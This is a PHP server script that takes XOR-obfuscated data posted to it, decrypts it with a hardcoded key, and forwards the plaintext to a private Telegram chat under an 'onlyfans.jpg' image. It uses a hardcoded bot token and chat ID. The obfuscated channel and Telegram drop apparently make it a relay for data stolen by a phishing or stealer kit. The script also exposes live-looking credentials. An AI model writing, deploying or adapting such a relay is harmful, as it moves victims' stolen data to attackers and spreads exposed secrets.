<?php
header('Content-Type: application/json; charset=utf-8');

function xorDecrypt($input, $key = "cfg_saltzz") {
    $decoded = base64_decode($input);
    $out = [];

    for ($i = 0; $i < strlen($decoded); $i++) {
        $out[] = ord($decoded[$i]) ^ ord($key[$i % strlen($key)]);
    }

    // Преобразуем байты обратно в строку UTF-8
    $decrypted = mb_convert_encoding(pack('C*', ...$out), 'UTF-8', 'UTF-8');
    return $decrypted;
}

$encrypted = file_get_contents("php://input");
if (!$encrypted) {
    http_response_code(400);
    exit(json_encode(["error" => "Нет данных"]));
}

$decrypted = xorDecrypt($encrypted);

// === Telegram config ===
$token = "6858108278:AAFHw4PomJ2EVlomL0HR0C2FiQYTdh6glss";
$chat_id = "-1002475227711";
$image_url = "https://i.ibb.co/bRKkYCzt/onlyfans.jpg";

// === Telegram sendPhoto ===
$url = "https://api.telegram.org/bot{$token}/sendPhoto";

$postData = http_build_query([
    'chat_id' => $chat_id,
    'photo' => $image_url,
    'caption' => $decrypted,
    'parse_mode' => 'HTML'
]);

$options = [
    'http' => [
        'method'  => 'POST',
        'header'  => "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
        'content' => $postData
    ]
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

echo $response;
